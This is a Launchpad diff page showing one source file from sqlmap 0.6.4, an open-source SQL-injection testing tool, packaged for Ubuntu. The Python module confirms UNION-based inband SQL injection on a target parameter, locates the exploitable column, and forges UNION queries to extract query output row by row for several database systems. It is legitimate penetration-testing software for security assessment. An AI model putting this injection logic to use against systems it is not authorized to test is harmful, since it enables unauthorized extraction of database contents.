~ubuntu-branches/ubuntu/vivid/sqlmap/vivid

« back to all changes in this revision

Viewing changes to lib/techniques/inband/union/use.py

  • Committer: Bazaar Package Importer
  • Author(s): Bernardo Damele A. G.
  • Date: 2009-02-03 23:30:00 UTC
  • Revision ID: james.westby@ubuntu.com-20090203233000-8gpnwfbih0wnqtv5
Tags: upstream-0.6.4
ImportĀ upstreamĀ versionĀ 0.6.4

Show diffs side-by-side

added added

removed removed

Lines of Context:
 
1
#!/usr/bin/env python
 
2
 
 
3
"""
 
4
$Id: use.py 327 2009-01-12 21:35:38Z inquisb $
 
5
 
 
6
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
 
7
 
 
8
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
 
9
                        and Daniele Bellucci <daniele.bellucci@gmail.com>
 
10
 
 
11
sqlmap is free software; you can redistribute it and/or modify it under
 
12
the terms of the GNU General Public License as published by the Free
 
13
Software Foundation version 2 of the License.
 
14
 
 
15
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
 
16
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 
17
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
 
18
details.
 
19
 
 
20
You should have received a copy of the GNU General Public License along
 
21
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
 
22
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
23
"""
 
24
 
 
25
 
 
26
 
 
27
import re
 
28
import time
 
29
 
 
30
from lib.core.agent import agent
 
31
from lib.core.common import parseUnionPage
 
32
from lib.core.common import randomStr
 
33
from lib.core.common import readInput
 
34
from lib.core.data import conf
 
35
from lib.core.data import kb
 
36
from lib.core.data import logger
 
37
from lib.core.data import queries
 
38
from lib.core.data import temp
 
39
from lib.core.exception import sqlmapUnsupportedDBMSException
 
40
from lib.core.session import setUnion
 
41
from lib.core.unescaper import unescaper
 
42
from lib.parse.html import htmlParser
 
43
from lib.request.connect import Connect as Request
 
44
from lib.techniques.inband.union.test import unionTest
 
45
from lib.utils.resume import resume
 
46
 
 
47
 
 
48
reqCount   = 0
 
49
 
 
50
 
 
51
def __unionPosition(expression, negative=False):
 
52
    global reqCount
 
53
 
 
54
    if negative:
 
55
        negLogMsg = "partial"
 
56
    else:
 
57
        negLogMsg = "full"
 
58
 
 
59
    infoMsg  = "confirming %s inband sql injection on parameter " % negLogMsg
 
60
    infoMsg += "'%s'" % kb.injParameter
 
61
    logger.info(infoMsg)
 
62
 
 
63
    # For each column of the table (# of NULL) perform a request using
 
64
    # the UNION ALL SELECT statement to test it the target url is
 
65
    # affected by an exploitable inband SQL injection vulnerability
 
66
    for exprPosition in range(0, kb.unionCount):
 
67
        # Prepare expression with delimiters
 
68
        randQuery = randomStr()
 
69
        randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
 
70
        randQueryUnescaped = unescaper.unescape(randQueryProcessed)
 
71
 
 
72
        if len(randQueryUnescaped) > len(expression):
 
73
            blankCount = len(randQueryUnescaped) - len(expression)
 
74
            expression = (" " * blankCount) + expression
 
75
        elif len(randQueryUnescaped) < len(expression):
 
76
            blankCount = len(expression) - len(randQueryUnescaped)
 
77
            randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
 
78
 
 
79
        # Forge the inband SQL injection request
 
80
        query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
 
81
        payload = agent.payload(newValue=query, negative=negative)
 
82
 
 
83
        # Perform the request
 
84
        resultPage, _ = Request.queryPage(payload, content=True)
 
85
        reqCount += 1
 
86
 
 
87
        # We have to assure that the randQuery value is not within the
 
88
        # HTML code of the result page because, for instance, it is there
 
89
        # when the query is wrong and the back-end DBMS is Microsoft SQL
 
90
        # server
 
91
        htmlParsed = htmlParser(resultPage)
 
92
 
 
93
        if randQuery in resultPage and not htmlParsed:
 
94
            setUnion(position=exprPosition)
 
95
 
 
96
            break
 
97
 
 
98
    if isinstance(kb.unionPosition, int):
 
99
        infoMsg  = "the target url is affected by an exploitable "
 
100
        infoMsg += "%s inband sql injection vulnerability" % negLogMsg
 
101
        logger.info(infoMsg)
 
102
    else:
 
103
        warnMsg  = "the target url is not affected by an exploitable "
 
104
        warnMsg += "%s inband sql injection vulnerability" % negLogMsg
 
105
 
 
106
        if negLogMsg == "partial":
 
107
            warnMsg += ", sqlmap will retrieve the query output "
 
108
            warnMsg += "through blind sql injection technique"
 
109
 
 
110
        logger.warn(warnMsg)
 
111
 
 
112
 
 
113
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
 
114
    """
 
115
    This function tests for an inband SQL injection on the target
 
116
    url then call its subsidiary function to effectively perform an
 
117
    inband SQL injection on the affected url
 
118
    """
 
119
 
 
120
    count      = None
 
121
    origExpr   = expression
 
122
    start      = time.time()
 
123
    startLimit = 0
 
124
    stopLimit  = None
 
125
    test       = True
 
126
    value      = ""
 
127
 
 
128
    global reqCount
 
129
 
 
130
    if resetCounter == True:
 
131
        reqCount = 0
 
132
 
 
133
    if not kb.unionCount:
 
134
        unionTest()
 
135
 
 
136
    if not kb.unionCount:
 
137
        return
 
138
 
 
139
    # Prepare expression with delimiters
 
140
    if unescape:
 
141
        expression = agent.concatQuery(expression)
 
142
        expression = unescaper.unescape(expression)
 
143
 
 
144
    # Confirm the inband SQL injection and get the exact column
 
145
    # position only once
 
146
    if not isinstance(kb.unionPosition, int):
 
147
        __unionPosition(expression)
 
148
 
 
149
        # Assure that the above function found the exploitable full inband
 
150
        # SQL injection position
 
151
        if not isinstance(kb.unionPosition, int):
 
152
            __unionPosition(expression, True)
 
153
 
 
154
            # Assure that the above function found the exploitable partial
 
155
            # inband SQL injection position
 
156
            if not isinstance(kb.unionPosition, int):
 
157
                return
 
158
            else:
 
159
                conf.paramNegative = True
 
160
 
 
161
    if conf.paramNegative == True and direct == False:
 
162
        _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
 
163
 
 
164
        if len(expressionFieldsList) > 1:
 
165
            infoMsg  = "the SQL query provided has more than a field. "
 
166
            infoMsg += "sqlmap will now unpack it into distinct queries "
 
167
            infoMsg += "to be able to retrieve the output even if we "
 
168
            infoMsg += "are in front of a partial inband sql injection"
 
169
            logger.info(infoMsg)
 
170
 
 
171
        # We have to check if the SQL query might return multiple entries
 
172
        # and in such case forge the SQL limiting the query output one
 
173
        # entry per time
 
174
        # NOTE: I assume that only queries that get data from a table can
 
175
        # return multiple entries
 
176
        if " FROM " in expression:
 
177
            limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
 
178
 
 
179
            if limitRegExp:
 
180
                if kb.dbms in ( "MySQL", "PostgreSQL" ):
 
181
                    limitGroupStart = queries[kb.dbms].limitgroupstart
 
182
                    limitGroupStop  = queries[kb.dbms].limitgroupstop
 
183
 
 
184
                    if limitGroupStart.isdigit():
 
185
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))
 
186
 
 
187
                    stopLimit = limitRegExp.group(int(limitGroupStop))
 
188
                    limitCond = int(stopLimit) > 1
 
189
 
 
190
                elif kb.dbms == "Microsoft SQL Server":
 
191
                    limitGroupStart = queries[kb.dbms].limitgroupstart
 
192
                    limitGroupStop  = queries[kb.dbms].limitgroupstop
 
193
 
 
194
                    if limitGroupStart.isdigit():
 
195
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))
 
196
 
 
197
                    stopLimit = limitRegExp.group(int(limitGroupStop))
 
198
                    limitCond = int(stopLimit) > 1
 
199
 
 
200
                elif kb.dbms == "Oracle":
 
201
                    limitCond = False
 
202
            else:
 
203
                limitCond = True
 
204
 
 
205
            # I assume that only queries NOT containing a "LIMIT #, 1"
 
206
            # (or similar depending on the back-end DBMS) can return
 
207
            # multiple entries
 
208
            if limitCond:
 
209
                if limitRegExp:
 
210
                    stopLimit = int(stopLimit)
 
211
 
 
212
                    # From now on we need only the expression until the " LIMIT "
 
213
                    # (or similar, depending on the back-end DBMS) word
 
214
                    if kb.dbms in ( "MySQL", "PostgreSQL" ):
 
215
                        stopLimit += startLimit
 
216
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring)
 
217
                        expression = expression[:untilLimitChar]
 
218
 
 
219
                    elif kb.dbms == "Microsoft SQL Server":
 
220
                        stopLimit += startLimit
 
221
 
 
222
                if not stopLimit or stopLimit <= 1:
 
223
                    if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
 
224
                        test = False
 
225
                    else:
 
226
                        test = True
 
227
 
 
228
                if test == True:
 
229
                    # Count the number of SQL query entries output
 
230
                    countFirstField   = queries[kb.dbms].count % expressionFieldsList[0]
 
231
                    countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
 
232
 
 
233
                    if re.search(" ORDER BY ", expression, re.I):
 
234
                        untilOrderChar = countedExpression.index(" ORDER BY ")
 
235
                        countedExpression = countedExpression[:untilOrderChar]
 
236
 
 
237
                    count = resume(countedExpression, None)
 
238
 
 
239
                    if not stopLimit:
 
240
                        if not count or not count.isdigit():
 
241
                            output = unionUse(countedExpression, direct=True)
 
242
 
 
243
                            if output:
 
244
                                count = parseUnionPage(output, countedExpression)
 
245
 
 
246
                        if count and count.isdigit() and int(count) > 0:
 
247
                            stopLimit = int(count)
 
248
 
 
249
                            infoMsg  = "the SQL query provided returns "
 
250
                            infoMsg += "%d entries" % stopLimit
 
251
                            logger.info(infoMsg)
 
252
 
 
253
                        elif count and not count.isdigit():
 
254
                            warnMsg  = "it was not possible to count the number "
 
255
                            warnMsg += "of entries for the SQL query provided. "
 
256
                            warnMsg += "sqlmap will assume that it returns only "
 
257
                            warnMsg += "one entry"
 
258
                            logger.warn(warnMsg)
 
259
 
 
260
                            stopLimit = 1
 
261
 
 
262
                        elif ( not count or int(count) == 0 ):
 
263
                            warnMsg  = "the SQL query provided does not "
 
264
                            warnMsg += "return any output"
 
265
                            logger.warn(warnMsg)
 
266
 
 
267
                            return
 
268
 
 
269
                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
 
270
                        warnMsg  = "the SQL query provided does not "
 
271
                        warnMsg += "return any output"
 
272
                        logger.warn(warnMsg)
 
273
 
 
274
                        return
 
275
 
 
276
                    for num in xrange(startLimit, stopLimit):
 
277
                        if kb.dbms == "Microsoft SQL Server":
 
278
                            orderBy = re.search(" ORDER BY ([\w\_]+)", expression, re.I)
 
279
 
 
280
                            if orderBy:
 
281
                                field = orderBy.group(1)
 
282
                            else:
 
283
                                field = expressionFieldsList[0]
 
284
 
 
285
                        elif kb.dbms == "Oracle":
 
286
                                field = expressionFieldsList
 
287
 
 
288
                        else:
 
289
                            field = None
 
290
 
 
291
                        limitedExpr = agent.limitQuery(num, expression, field)
 
292
                        output      = unionUse(limitedExpr, direct=True, unescape=False)
 
293
 
 
294
                        if output:
 
295
                            value += output
 
296
 
 
297
                    return value
 
298
 
 
299
        value = unionUse(expression, direct=True, unescape=False)
 
300
 
 
301
    else:
 
302
        # Forge the inband SQL injection request
 
303
        query   = agent.forgeInbandQuery(expression)
 
304
        payload = agent.payload(newValue=query)
 
305
 
 
306
        infoMsg = "query: %s" % query
 
307
        logger.info(infoMsg)
 
308
 
 
309
        # Perform the request
 
310
        resultPage, _ = Request.queryPage(payload, content=True)
 
311
        reqCount += 1
 
312
 
 
313
        if temp.start not in resultPage or temp.stop not in resultPage:
 
314
            return
 
315
 
 
316
        # Parse the returned page to get the exact inband
 
317
        # sql injection output
 
318
        startPosition = resultPage.index(temp.start)
 
319
        endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
 
320
        value = str(resultPage[startPosition:endPosition])
 
321
 
 
322
        duration = int(time.time() - start)
 
323
 
 
324
        infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
 
325
        logger.info(infoMsg)
 
326
 
 
327
    return value